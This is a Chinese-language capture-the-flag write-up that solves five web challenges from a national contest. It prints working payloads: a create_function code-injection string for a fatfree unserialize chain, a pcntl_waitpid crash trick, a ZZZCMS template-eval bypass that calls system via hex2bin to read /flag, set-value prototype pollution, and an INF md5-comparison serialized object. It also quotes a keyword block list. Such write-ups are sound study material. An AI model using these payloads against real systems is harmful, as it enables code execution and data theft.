0x00 前言
周末参加了一下国赛,有两年没参与了,还是一如既往的“吓人”。
0x01 babyunserialize
题目存在源码泄露:
http://eci-2ze0loaxjkuesryhroqr.cloudeci1.ichunqiu.com/www.zip
打开后发现是fatfree框架,进行代码审计,发现目标网站使用了php框架fatfree,且为最新版。同时关注到index.php路由:
$f3->route('GET /', function($f3) { echo "may be you need /?flag="; } ); unserialize($_GET['flag']);
发现题目给了一个反序列化位置,且参数可控。
于是在网上搜索fatfree相关的rce chain,可以搜到此题曾在2020 WMCTF中出现过。
但搜索网上相关的pop chain,发现都没打通,于是选择自己思考。
虽然这里CLI\Agent::fetch()被删除,但其存在的send方法潜在安全隐患:
function send($op,$data='') { $server=$this->server; $mask=WS::Finale | $op & WS::OpCode; $len=strlen($data); $buf=''; if ($len>0xffff) $buf=pack('CCNN',$mask,0x7f,$len); elseif ($len>0x7d) $buf=pack('CCn',$mask,0x7e,$len); else $buf=pack('CC',$mask,$len); $buf.=$data; if (is_bool($server->write($this->socket,$buf))) return FALSE; if (!in_array($op,[WS::Pong,WS::Close]) && isset($this->server->events['send']) && is_callable($func=$this->server->events['send'])) $func($this,$op,$data); return $data; }
此处注意到关键位置:
if (is_bool($server->write($this->socket,$buf))) return FALSE;
我们发现,此处$server和$this->socket均可控,那么可以用来构造任意代码执行。但是存在问题,哪一个命令执行的php函数有2个参数,且第一个参数可控,第二个参数不可控就可以进行RCE?
这里想到create_function,我们可以利用如下方式,在第一个参数位置进行代码注入:
){}phpinfo();//
构造exp,并发现可以成功执行phpinfo:
得到flag:
0x02 easyphp
题目给出了源码:
<?php //题目环境:php:7.4.8-apache $pid = pcntl_fork(); if ($pid == -1) { die('could not fork'); }else if ($pid){ $r=pcntl_wait($status); if(!pcntl_wifexited($status)){ phpinfo(); } }else{ highlight_file(__FILE__); if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ call_user_func_array($_GET['a'],[$_GET['b'],false,true]); } posix_kill(posix_getpid(), SIGUSR1); }
此题有点不同寻常,和一般的web题有点差异,这里简单看了一下,我们需要在如下情况,才能调用phpinfo():
if(!pcntl_wifexited($status)){ phpinfo(); }
查阅手册:
发现我们需要让子进程不正常退出,这里考虑到使用后面的call_user_func:
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){ call_user_func_array($_GET['a'],[$_GET['b'],false,true]); }
通过搜索php bug,可以得知:
https://bugs.php.net/bug.php?id=52173
这里我们可以利用pcntl_waitpid:
http://eci-2ze0y4x958n2qhsgv27b.cloudeci1.ichunqiu.com/?a=call_user_func&b=pcntl_waitpid
即可在phpinfo中获取flag。
0x03 rceme
题目给出了源码:
<?php error_reporting(0); highlight_file(__FILE__); parserIfLabel($_GET['a']); function danger_key($s) { $s=htmlspecialchars($s); $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); $s = str_ireplace($key,"*",$s); $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert'); foreach ($danger as $val){ if(strpos($s,$val) !==false){ die('很抱歉,执行出错,发现危险字符【'.$val.'】'); } } if(preg_match("/^[a-z]$/i")){ die('很抱歉,执行出错,发现危险字符'); } return $s; } function parserIfLabel( $content ) { $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/'; if ( preg_match_all( $pattern, $content, $matches ) ) { $count = count( $matches[ 0 ] ); for ( $i = 0; $i < $count; $i++ ) { $flag = ''; $out_html = ''; $ifstr = $matches[ 1 ][ $i ]; $ifstr=danger_key($ifstr,1); if(strpos($ifstr,'=') !== false){ $arr= splits($ifstr,'='); if($arr[0]=='' || $arr[1]==''){ die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】'); } $ifstr = str_replace( '=', '==', $ifstr ); } $ifstr = str_replace( '<>', '!=', $ifstr ); $ifstr = str_replace( 'or', '||', $ifstr ); $ifstr = str_replace( 'and', '&&', $ifstr ); $ifstr = str_replace( 'mod', '%', $ifstr ); $ifstr = str_replace( 'not', '!', $ifstr ); if ( preg_match( '/\{|}/', $ifstr)) { die('很抱歉,模板中有错误的判断,请修正'.$ifstr); }else{ @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' ); } if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { switch ( $flag ) { case 'if': if ( isset( $matches2[ 1 ] ) ) { $out_html .= $matches2[ 1 ]; } break; case 'else': if ( isset( $matches2[ 2 ] ) ) { $out_html .= $matches2[ 2 ]; } break; } } elseif ( $flag == 'if' ) { $out_html .= $matches[ 2 ][ $i ]; } $pattern2 = '/\{if([0-9]):/'; if ( preg_match( $pattern2, $out_html, $matches3 ) ) { $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html ); $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html ); $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html ); $out_html = $this->parserIfLabel( $out_html ); } $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content ); } } return $content; } function splits( $s, $str=',' ) { if ( empty( $s ) ) return array( '' ); if ( strpos( $s, $str ) !== false ) { return explode( $str, $s ); } else { return array( $s ); } }
简单搜了下,发现是ZZZCMS源码的一部分,参考链接如下:
https://cloud.tencent.com/developer/article/1576196
但是通过diff,发现这里的过滤比ZZZCMS多一些:
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
参考到这篇文章:
https://forum.90sec.com/t/topic/1239
其exp如下:
{if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
考虑该题过滤了base_convert函数,这里想一个新的bypass方案,尝试使用hex2bin:
{if:array_map(hex2bin('73797374656d'),array('ls'))}{end if}
搭配使用system函数,即可rce获取flag:
{if:array_map(hex2bin('73797374656d'),array('cat /flag'))}{end if}
访问:
http://eci-2zed3ztpomt9lasf47o6.cloudeci1.ichunqiu.com/?a={if:array_map(hex2bin(%2773797374656d%27),array(%27cat%20/flag%27))}{end%20if}
0x04 littlegame
题目给了源码,简单看一下:
var express = require('express'); const setFn = require('set-value'); var router = express.Router(); const COMMODITY = { "sword": {"Gold": "20", "Firepower": "50"}, // Times have changed "gun": {"Gold": "100", "Firepower": "200"} } const MOBS = { "Lv1": {"Firepower": "1", "Bounty": "1"}, "Lv2": {"Firepower": "5", "Bounty": "10"}, "Lv3": {"Firepower": "10", "Bounty": "15"}, "Lv4": {"Firepower": "20", "Bounty": "30"}, "Lv5": {"Firepower": "50", "Bounty": "65"}, "Lv6": {"Firepower": "80", "Bounty": "100"} } const BOSS = { // Times have not changed "Firepower": "201" } const Admin = { "password1":process.env.p1, "password2":process.env.p2, "password3":process.env.p3 } router.post('/BuyWeapon', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post('/EarnBounty', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post('/ChallengeBOSS', function (req, res, next) { // not implement res.send("BOOS has said 'Times have not changed'!"); }); router.post("/DeveloperControlPanel", function (req, res, next) { // not implement if (req.body.key === undefined || req.body.password === undefined){ res.send("What's your problem?"); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?"); } } }); router.get('/SpawnPoint', function (req, res, next) { req.session.knight = { "HP": 1000, "Gold": 10, "Firepower": 10 } res.send("Let's begin!"); }); router.post("/Privilege", function (req, res, next) { // Why not ask witch for help? if(req.session.knight === undefined){ res.redirect('/SpawnPoint'); }else{ if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) { res.send("What's your problem?"); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!"); } } }); module.exports = router;
首先看如何获取flag:
router.post("/DeveloperControlPanel", function (req, res, next) { // not implement if (req.body.key === undefined || req.body.password === undefined){ res.send("What's your problem?"); }else { let key = req.body.key.toString(); let password = req.body.password.toString(); if(Admin[key] === password){ res.send(process.env.flag); }else { res.send("Wrong password!Are you Admin?"); } } });
发现只要:
if(Admin[key] === password){ res.send(process.env.flag); }
即可获取flag。这里不难发现:
const setFn = require('set-value');
存在原型链污染的问题,查看调用处:
router.post("/Privilege", function (req, res, next) { // Why not ask witch for help? if(req.session.knight === undefined){ res.redirect('/SpawnPoint'); }else{ if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) { res.send("What's your problem?"); }else { let key = req.body.NewAttributeKey.toString(); let value = req.body.NewAttributeValue.toString(); setFn(req.session.knight, key, value); res.send("Let's have a check!"); } } });
发现key和value都可控,那就好办了,这里直接进行污染:
然后去获取flag:
0x05 easytrick
题目给出了源码:
trick1 = (string)$this->trick1; if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ die("你太长了"); } if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ echo file_get_contents("/flag"); } } } highlight_file(__FILE__); unserialize($_GET['trick']);
题目考察了一个小trick,要求2个变量不相等,但md5相同,以往都需要使用诸如如下工具进行爆破:
https://github.com/upbit/clone-fastcoll
这里由于有长度限制,我们可以使用trick:
<?php class trick{ public $trick1=INF; public $trick2=1/0; } $exp = new trick(); echo serialize($exp);
即可进行bypass,访问:
http://eci-2ze6ie6rtdjhwozbsgmd.cloudeci1.ichunqiu.com/?trick=O:5:%22trick%22:2:{s:6:%22trick1%22;d:INF;s:6:%22trick2%22;d:INF;}
即可获取flag。
0x06 后记
线上赛的web题还是比较简单的,可能是因为考虑参赛面广,入围资格也多吧。
如若转载,请注明原文地址: